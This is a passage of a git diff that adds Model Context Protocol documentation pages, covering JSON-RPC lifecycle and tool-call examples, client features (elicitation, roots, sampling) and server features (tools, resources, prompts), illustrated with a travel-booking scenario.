+### Data Layer
+
+This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We'll demonstrate the lifecycle sequence, tool operations, and notifications using JSON-RPC 2.0 messages.
+
+
+
+ MCP begins with lifecycle management through a capability negotiation handshake. As described in the [lifecycle management](#lifecycle-management) section, the client sends an `initialize` request to establish the connection and negotiate supported features.
+
+
+ ```json Initialize Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "initialize",
+ "params": {
+ "protocolVersion": "2025-06-18",
+ "capabilities": {
+ "elicitation": {}
+ },
+ "clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ }
+ }
+ }
+ ```
+
+ ```json Initialize Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "protocolVersion": "2025-06-18",
+ "capabilities": {
+ "tools": {
+ "listChanged": true
+ },
+ "resources": {}
+ },
+ "serverInfo": {
+ "name": "example-server",
+ "version": "1.0.0"
+ }
+ }
+ }
+ ```
+
+
+ #### Understanding the Initialization Exchange
+
+ The initialization process is a key part of MCP's lifecycle management and serves several critical purposes:
+
+ 1. **Protocol Version Negotiation**: The `protocolVersion` field (e.g., "2025-06-18") ensures both client and server are using compatible protocol versions. This prevents communication errors that could occur when different versions attempt to interact. If a mutually compatible version is not negotiated, the connection should be terminated.
+
+ 2. **Capability Discovery**: The `capabilities` object allows each party to declare what features they support, including which [primitives](#primitives) they can handle (tools, resources, prompts) and whether they support features like [notifications](#notifications). This enables efficient communication by avoiding unsupported operations.
+
+ 3. **Identity Exchange**: The `clientInfo` and `serverInfo` objects provide identification and versioning information for debugging and compatibility purposes.
+
+ In this example, the capability negotiation demonstrates how MCP primitives are declared:
+
+ **Client Capabilities**:
+
+ * `"elicitation": {}` - The client declares it can work with user interaction requests (can receive `elicitation/create` method calls)
+
+ **Server Capabilities**:
+
+ * `"tools": {"listChanged": true}` - The server supports the tools primitive AND can send `tools/list_changed` notifications when its tool list changes
+ * `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods)
+
+ After successful initialization, the client sends a notification to indicate it's ready:
+
+ ```json Notification theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/initialized"
+ }
+ ```
+
+ #### How This Works in AI Applications
+
+ During initialization, the AI application's MCP client manager establishes connections to configured servers and stores their capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates.
+
+ ```python Pseudo-code for AI application initialization theme={null}
+ # Pseudo Code
+ async with stdio_client(server_config) as (read, write):
+ async with ClientSession(read, write) as session:
+ init_response = await session.initialize()
+ if init_response.capabilities.tools:
+ app.register_mcp_server(session, supports_tools=True)
+ app.set_server_ready(session)
+ ```
+
+
+
+ Now that the connection is established, the client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP's tool discovery mechanism — it allows clients to understand what tools are available on the server before attempting to use them.
+
+
+ ```json Tools List Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "tools/list"
+ }
+ ```
+
+ ```json Tools List Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "result": {
+ "tools": [
+ {
+ "name": "calculator_arithmetic",
+ "title": "Calculator",
+ "description": "Perform mathematical calculations including basic arithmetic, trigonometric functions, and algebraic operations",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "expression": {
+ "type": "string",
+ "description": "Mathematical expression to evaluate (e.g., '2 + 3 * 4', 'sin(30)', 'sqrt(16)')"
+ }
+ },
+ "required": ["expression"]
+ }
+ },
+ {
+ "name": "weather_current",
+ "title": "Weather Information",
+ "description": "Get current weather information for any location worldwide",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "location": {
+ "type": "string",
+ "description": "City name, address, or coordinates (latitude,longitude)"
+ },
+ "units": {
+ "type": "string",
+ "enum": ["metric", "imperial", "kelvin"],
+ "description": "Temperature units to use in response",
+ "default": "metric"
+ }
+ },
+ "required": ["location"]
+ }
+ }
+ ]
+ }
+ }
+ ```
+
+
+ #### Understanding the Tool Discovery Request
+
+ The `tools/list` request is simple, containing no parameters.
+
+ #### Understanding the Tool Discovery Response
+
+ The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities.
+
+ Each tool object in the response includes several key fields:
+
+ * **`name`**: A unique identifier for the tool within the server's namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`)
+ * **`title`**: A human-readable display name for the tool that clients can show to users
+ * **`description`**: Detailed explanation of what the tool does and when to use it
+ * **`inputSchema`**: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters
+
+ #### How This Works in AI Applications
+
+ The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations.
+
+ ```python Pseudo-code for AI application tool discovery theme={null}
+ # Pseudo-code using MCP Python SDK patterns
+ available_tools = []
+ for session in app.mcp_server_sessions():
+ tools_response = await session.list_tools()
+ available_tools.extend(tools_response.tools)
+ conversation.register_available_tools(available_tools)
+ ```
+
+
+
+ The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments.
+
+ #### Understanding the Tool Execution Request
+
+ The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we're using the proper tool name from the discovery response (`weather_current`) rather than a simplified name:
+
+
+ ```json Tool Call Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "method": "tools/call",
+ "params": {
+ "name": "weather_current",
+ "arguments": {
+ "location": "San Francisco",
+ "units": "imperial"
+ }
+ }
+ }
+ ```
+
+ ```json Tool Call Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "result": {
+ "content": [
+ {
+ "type": "text",
+ "text": "Current weather in San Francisco: 68°F, partly cloudy with light winds from the west at 8 mph. Humidity: 65%"
+ }
+ ]
+ }
+ }
+ ```
+
+
+ #### Key Elements of Tool Execution
+
+ The request structure includes several important components:
+
+ 1. **`name`**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute.
+
+ 2. **`arguments`**: Contains the input parameters as defined by the tool's `inputSchema`. In this example:
+ * `location`: "San Francisco" (required parameter)
+ * `units`: "imperial" (optional parameter, defaults to "metric" if not specified)
+
+ 3. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation.
+
+ #### Understanding the Tool Execution Response
+
+ The response demonstrates MCP's flexible content system:
+
+ 1. **`content` Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.)
+
+ 2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases.
+
+ 3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions.
+
+ This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models.
+
+ #### How This Works in AI Applications
+
+ When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world.
+
+ ```python theme={null}
+ # Pseudo-code for AI application tool execution
+ async def handle_tool_call(conversation, tool_name, arguments):
+ session = app.find_mcp_session_for_tool(tool_name)
+ result = await session.call_tool(tool_name, arguments)
+ conversation.add_tool_result(result.content)
+ ```
+
+
+
+ MCP supports real-time notifications that enable servers to inform clients about changes without being explicitly requested. This demonstrates the notification system, a key feature that keeps MCP connections synchronized and responsive.
+
+ #### Understanding Tool List Change Notifications
+
+ When the server's available tools change—such as when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable—the server can proactively notify connected clients:
+
+ ```json Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/tools/list_changed"
+ }
+ ```
+
+ #### Key Features of MCP Notifications
+
+ 1. **No Response Required**: Notice there's no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent.
+
+ 2. **Capability-Based**: This notification is only sent by servers that declared `"listChanged": true` in their tools capability during initialization (as shown in Step 1).
+
+ 3. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive.
+
+ #### Client Response to Notifications
+
+ Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client's understanding of available tools current:
+
+ ```json Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 4,
+ "method": "tools/list"
+ }
+ ```
+
+ #### Why Notifications Matter
+
+ This notification system is crucial for several reasons:
+
+ 1. **Dynamic Environments**: Tools may come and go based on server state, external dependencies, or user permissions
+ 2. **Efficiency**: Clients don't need to poll for changes; they're notified when updates occur
+ 3. **Consistency**: Ensures clients always have accurate information about available server capabilities
+ 4. **Real-time Collaboration**: Enables responsive AI applications that can adapt to changing contexts
+
+ This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers.
+
+ #### How This Works in AI Applications
+
+ When the AI application receives a notification about changed tools, it immediately refreshes its tool registry and updates the LLM's available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available.
+
+ ```python theme={null}
+ # Pseudo-code for AI application notification handling
+ async def handle_tools_changed_notification(session):
+ tools_response = await session.list_tools()
+ app.update_available_tools(session, tools_response.tools)
+ if app.conversation.is_active():
+ app.conversation.notify_llm_of_new_capabilities()
+ ```
+
+
diff --git a/content/mcp/docs/2025-06-18/learn/client-concepts.md b/content/mcp/docs/2025-06-18/learn/client-concepts.md
new file mode 100644
index 000000000..de1cec849
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/learn/client-concepts.md
@@ -0,0 +1,236 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP clients
+
+MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server.
+
+Understanding the distinction is important: the *host* is the application users interact with, while *clients* are the protocol-level components that enable server connections.
+
+## Core Client Features
+
+In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions.
+
+| Feature | Explanation | Example |
+| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
+| **Elicitation** | Elicitation enables servers to request specific information from users during interactions, providing a structured way for servers to gather information on demand. | A server booking travel may ask for the user's preferences on airplane seats, room type or their contact number to finalise a booking. |
+| **Roots** | Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. | A server for booking travel may be given access to a specific directory, from which it can read a user's calendar. |
+| **Sampling** | Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. | A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user. |
+
+### Elicitation
+
+Elicitation enables servers to request specific information from users during interactions, creating more dynamic and responsive workflows.
+
+#### Overview
+
+Elicitation provides a structured way for servers to gather necessary information on demand. Instead of requiring all information up front or failing when data is missing, servers can pause their operations to request specific inputs from users. This creates more flexible interactions where servers adapt to user needs rather than following rigid patterns.
+
+**Elicitation flow:**
+
+```mermaid theme={null}
+sequenceDiagram
+ participant User
+ participant Client
+ participant Server
+
+ Note over Server,Client: Server initiates elicitation
+ Server->>Client: elicitation/create
+
+ Note over Client,User: Human interaction
+ Client->>User: Present elicitation UI
+ User-->>Client: Provide requested information
+
+ Note over Server,Client: Complete request
+ Client-->>Server: Return user response
+
+ Note over Server: Continue processing with new information
+```
+
+The flow enables dynamic information gathering. Servers can request specific data when needed, users provide information through appropriate UI, and servers continue processing with the newly acquired context.
+
+**Elicitation components example:**
+
+```typescript theme={null}
+{
+ method: "elicitation/create",
+ params: {
+ message: "Please confirm your Barcelona vacation booking details:",
+ requestedSchema: {
+ type: "object",
+ properties: {
+ confirmBooking: {
+ type: "boolean",
+ description: "Confirm the booking (Flights + Hotel = $3,000)"
+ },
+ seatPreference: {
+ type: "string",
+ enum: ["window", "aisle", "no preference"],
+ description: "Preferred seat type for flights"
+ },
+ roomType: {
+ type: "string",
+ enum: ["sea view", "city view", "garden view"],
+ description: "Preferred room type at hotel"
+ },
+ travelInsurance: {
+ type: "boolean",
+ default: false,
+ description: "Add travel insurance ($150)"
+ }
+ },
+ required: ["confirmBooking"]
+ }
+ }
+}
+```
+
+#### Example: Holiday Booking Approval
+
+A travel booking server demonstrates elicitation's power through the final booking confirmation process. When a user has selected their ideal vacation package to Barcelona, the server needs to gather final approval and any missing details before proceeding.
+
+The server elicits booking confirmation with a structured request that includes the trip summary (Barcelona flights June 15-22, beachfront hotel, total \$3,000) and fields for any additional preferences—such as seat selection, room type, or travel insurance options.
+
+As the booking progresses, the server elicits contact information needed to complete the reservation. It might ask for traveler details for flight bookings, special requests for the hotel, or emergency contact information.
+
+#### User Interaction Model
+
+Elicitation interactions are designed to be clear, contextual, and respectful of user autonomy:
+
+**Request presentation**: Clients display elicitation requests with clear context about which server is asking, why the information is needed, and how it will be used. The request message explains the purpose while the schema provides structure and validation.
+
+**Response options**: Users can provide the requested information through appropriate UI controls (text fields, dropdowns, checkboxes), decline to provide information with optional explanation, or cancel the entire operation. Clients validate responses against the provided schema before returning them to servers.
+
+**Privacy considerations**: Elicitation never requests passwords or API keys. Clients warn about suspicious requests and let users review data before sending.
+
+### Roots
+
+Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on.
+
+#### Overview
+
+Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing.
+
+**Root structure:**
+
+```json theme={null}
+{
+ "uri": "file:///Users/agent/travel-planning",
+ "name": "Travel Planning Workspace"
+}
+```
+
+Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list can be updated dynamically as users work with different projects or folders, with servers receiving notifications through `roots/list_changed` when boundaries change.
+
+#### Example: Travel Planning Workspace
+
+A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning.
+
+The client provides filesystem roots to the travel planning server:
+
+* `file:///Users/agent/travel-planning` - Main workspace containing all travel files
+* `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources
+* `file:///Users/agent/client-documents` - Client passports and travel documents
+
+When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries.
+
+If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client updates the roots list via `roots/list_changed`.
+
+For a complete implementation of a server that respects roots, see the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) in the official servers repository.
+
+#### Design Philosophy
+
+Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers "SHOULD respect root boundaries," and not that they "MUST enforce" them, because servers run code the client cannot control.
+
+Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically).
+
+#### User Interaction Model
+
+Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management:
+
+**Automatic root detection**: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work.
+
+**Manual root configuration**: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records.
+
+### Sampling
+
+Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control.
+
+#### Overview
+
+Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window.
+
+**Sampling flow:**
+
+```mermaid theme={null}
+sequenceDiagram
+ participant LLM
+ participant User
+ participant Client
+ participant Server
+
+ Note over Server,Client: Server initiates sampling
+ Server->>Client: sampling/createMessage
+
+ Note over Client,User: Human-in-the-loop review
+ Client->>User: Present request for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Client,LLM: Model interaction
+ Client->>LLM: Forward approved request
+ LLM-->>Client: Return generation
+
+ Note over Client,User: Response review
+ Client->>User: Present response for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Server,Client: Complete request
+ Client-->>Server: Return approved response
+```
+
+The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before it returns to the server.
+
+**Request parameters example:**
+
+```typescript theme={null}
+{
+ messages: [
+ {
+ role: "user",
+ content: "Analyze these flight options and recommend the best choice:\n" +
+ "[47 flights with prices, times, airlines, and layovers]\n" +
+ "User preferences: morning departure, max 1 layover"
+ }
+ ],
+ modelPreferences: {
+ hints: [{
+ name: "claude-sonnet-4-20250514" // Suggested model
+ }],
+ costPriority: 0.3, // Less concerned about API cost
+ speedPriority: 0.2, // Can wait for thorough analysis
+ intelligencePriority: 0.9 // Need complex trade-off evaluation
+ },
+ systemPrompt: "You are a travel expert helping users find the best flights based on their preferences",
+ maxTokens: 1500
+}
+```
+
+#### Example: Flight Analysis Tool
+
+Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks "Book me the best flight to Barcelona next month," the tool needs AI assistance to evaluate complex trade-offs.
+
+The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: "Analyze these flight options and recommend the best choice: \[47 flights with prices, times, airlines, and layovers] User preferences: morning departure, max 1 layover."
+
+The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations.
+
+#### User Interaction Model
+
+While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms:
+
+**Approval controls**: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests.
+
+**Transparency features**: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server.
+
+**Configuration options**: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information.
+
+**Security considerations**: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-initiated AI interactions cannot compromise security or access sensitive data without explicit user consent.
diff --git a/content/mcp/docs/2025-06-18/learn/server-concepts.md b/content/mcp/docs/2025-06-18/learn/server-concepts.md
new file mode 100644
index 000000000..f38084cbc
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/learn/server-concepts.md
@@ -0,0 +1,285 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP servers
+
+MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces.
+
+Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling.
+
+## Core Server Features
+
+Servers provide functionality through three building blocks:
+
+| Feature | Explanation | Examples | Who controls it |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | --------------- |
+| **Tools** | Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic. | Search flights Send messages Create calendar events | Model |
+| **Resources** | Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation. | Retrieve documents Access knowledge bases Read calendars | Application |
+| **Prompts** | Pre-built instruction templates that tell the model to work with specific tools and resources. | Plan a vacation Summarize my meetings Draft an email | User |
+
+We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together.
+
+### Tools
+
+Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context.
+
+#### How Tools Work
+
+Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| ------------ | ------------------------ | -------------------------------------- |
+| `tools/list` | Discover available tools | Array of tool definitions with schemas |
+| `tools/call` | Execute a specific tool | Tool execution result |
+
+**Example tool definition:**
+
+```typescript theme={null}
+{
+ name: "searchFlights",
+ description: "Search for available flights",
+ inputSchema: {
+ type: "object",
+ properties: {
+ origin: { type: "string", description: "Departure city" },
+ destination: { type: "string", description: "Arrival city" },
+ date: { type: "string", format: "date", description: "Travel date" }
+ },
+ required: ["origin", "destination", "date"]
+ }
+}
+```
+
+#### Example: Travel Booking
+
+Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation:
+
+**Flight Search**
+
+```
+searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15")
+```
+
+Queries multiple airlines and returns structured flight options.
+
+**Calendar Blocking**
+
+```
+createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22")
+```
+
+Marks the travel dates in the user's calendar.
+
+**Email notification**
+
+```
+sendEmail(to: "team@work.com", subject: "Out of Office", body: "...")
+```
+
+Sends an automated out-of-office message to colleagues.
+
+#### User Interaction Model
+
+Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms.
+
+For trust and safety, applications can implement user control through various mechanisms, such as:
+
+* Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions
+* Approval dialogs for individual tool executions
+* Permission settings for pre-approving certain safe operations
+* Activity logs that show all tool executions with their results
+
+### Resources
+
+Resources provide structured access to information that the AI application can retrieve and provide to models as context.
+
+#### How Resources Work
+
+Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that's selecting relevant portions, searching with embeddings, or passing it all to the model.
+
+Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling.
+
+Resources support two discovery patterns:
+
+* **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024
+* **Resource Templates** - dynamic URIs with parameters for flexible queries. Example:
+ * `travel://activities/{city}/{category}` - returns activities by city and category
+ * `travel://activities/barcelona/museums` - returns all museums in Barcelona
+
+Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------------------- | ------------------------------- | -------------------------------------- |
+| `resources/list` | List available direct resources | Array of resource descriptors |
+| `resources/templates/list` | Discover resource templates | Array of resource template definitions |
+| `resources/read` | Retrieve resource contents | Resource data with metadata |
+| `resources/subscribe` | Monitor resource changes | Subscription confirmation |
+
+#### Example: Getting Travel Planning Context
+
+Continuing with the travel planning example, resources provide the AI application with access to relevant information:
+
+* **Calendar data** (`calendar://events/2024`) - Checks user availability
+* **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents
+* **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences
+
+The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model.
+
+In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences.
+
+**Resource Template Examples:**
+
+```json theme={null}
+{
+ "uriTemplate": "weather://forecast/{city}/{date}",
+ "name": "weather-forecast",
+ "title": "Weather Forecast",
+ "description": "Get weather forecast for any city and date",
+ "mimeType": "application/json"
+}
+
+{
+ "uriTemplate": "travel://flights/{origin}/{destination}",
+ "name": "flight-search",
+ "title": "Flight Search",
+ "description": "Search available flights between cities",
+ "mimeType": "application/json"
+}
+```
+
+These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input "NYC" as the `origin` airport and begins to input "Bar" as the `destination` airport, the system can suggest "Barcelona (BCN)" or "Barbados (BGI)".
+
+#### Parameter Completion
+
+Dynamic resources support parameter completion. For example:
+
+* Typing "Par" as input for `weather://forecast/{city}` might suggest "Paris" or "Park City"
+* Typing "JFK" for `flights://search/{airport}` might suggest "JFK - John F. Kennedy International"
+
+The system helps discover valid values without requiring exact format knowledge.
+
+#### User Interaction Model
+
+Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include:
+
+* Tree or list views for browsing resources in familiar folder-like structures
+* Search and filter interfaces for finding specific resources
+* Automatic context inclusion or smart suggestions based on heuristics or AI selection
+* Manual or bulk selection interfaces for including single or multiple resources
+
+Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn't mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers.
+
+### Prompts
+
+Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server.
+
+#### How Prompts Work
+
+Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------- | -------------------------- | ------------------------------------- |
+| `prompts/list` | Discover available prompts | Array of prompt descriptors |
+| `prompts/get` | Retrieve prompt details | Full prompt definition with arguments |
+
+#### Example: Streamlined Workflows
+
+Prompts provide structured templates for common tasks. In the travel planning context:
+
+**"Plan a vacation" prompt:**
+
+```json theme={null}
+{
+ "name": "plan-vacation",
+ "title": "Plan a vacation",
+ "description": "Guide through vacation planning process",
+ "arguments": [
+ { "name": "destination", "type": "string", "required": true },
+ { "name": "duration", "type": "number", "description": "days" },
+ { "name": "budget", "type": "number", "required": false },
+ { "name": "interests", "type": "array", "items": { "type": "string" } }
+ ]
+}
+```
+
+Rather than unstructured natural language input, the prompt system enables:
+
+1. Selection of the "Plan a vacation" template
+2. Structured input: Barcelona, 7 days, \$3000, \["beaches", "architecture", "food"]
+3. Consistent workflow execution based on the template
+
+#### User Interaction Model
+
+Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include:
+
+* Easy discovery of available prompts
+* Clear descriptions of what each prompt does
+* Natural argument input with validation
+* Transparent display of the prompt's underlying template
+
+Applications typically expose prompts through various UI patterns such as:
+
+* Slash commands (typing "/" to see available prompts like /plan-vacation)
+* Command palettes for searchable access
+* Dedicated UI buttons for frequently used prompts
+* Context menus that suggest relevant prompts
+
+## Bringing Servers Together
+
+The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface.
+
+### Example: Multi-Server Travel Planning
+
+Consider a personalized AI travel planner application, with three connected servers:
+
+* **Travel Server** - Handles flights, hotels, and itineraries
+* **Weather Server** - Provides climate data and forecasts
+* **Calendar/Email Server** - Manages schedules and communications
+
+#### The Complete Flow
+
+1. **User invokes a prompt with parameters:**
+
+ ```json theme={null}
+ {
+ "prompt": "plan-vacation",
+ "arguments": {
+ "destination": "Barcelona",
+ "departure_date": "2024-06-15",
+ "return_date": "2024-06-22",
+ "budget": 3000,
+ "travelers": 2
+ }
+ }
+ ```
+
+2. **User selects resources to include:**
+ * `calendar://my-calendar/June-2024` (from Calendar Server)
+ * `travel://preferences/europe` (from Travel Server)
+ * `travel://past-trips/Spain-2023` (from Travel Server)
+
+3. **AI processes the request using tools:**
+
+ The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips.
+
+ Using this context, the AI then executes the prompt provided by the AI application. In our example, the AI application exposes the weather tools from the connected MCP weather server to the model. Because weather can affect travel plans, the AI chooses to call `checkWeather()` when interpreting the prompt.
+
+ As a result the AI executes a series of tools:
+
+ * `searchFlights()` - Queries airlines for NYC to Barcelona flights
+ * `checkWeather()` - Retrieves climate forecasts for travel dates
+
+ The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary:
+
+ * `bookHotel()` - Finds hotels within the specified budget
+ * `createCalendarEvent()` - Adds the trip to the user's calendar
+ * `sendEmail()` - Sends confirmation with trip details
+
+**The result:** Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The "Plan a Vacation" prompt guided the AI to combine Resources (calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP.
diff --git a/content/mcp/docs/2025-06-18/learn/versioning.md b/content/mcp/docs/2025-06-18/learn/versioning.md
new file mode 100644
index 000000000..69de9c3bb
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/learn/versioning.md
@@ -0,0 +1,49 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Versioning
+
+The Model Context Protocol uses string-based version identifiers following the format
+`YYYY-MM-DD`, to indicate the last date backwards incompatible changes were made.
+
+
+ The protocol version will *not* be incremented when the
+ protocol is updated, as long as the changes maintain backwards compatibility. This allows
+ for incremental improvements while preserving interoperability.
+
+
+## Revisions
+
+Revisions may be marked as:
+
+* **Draft**: in-progress specifications, not yet ready for consumption.
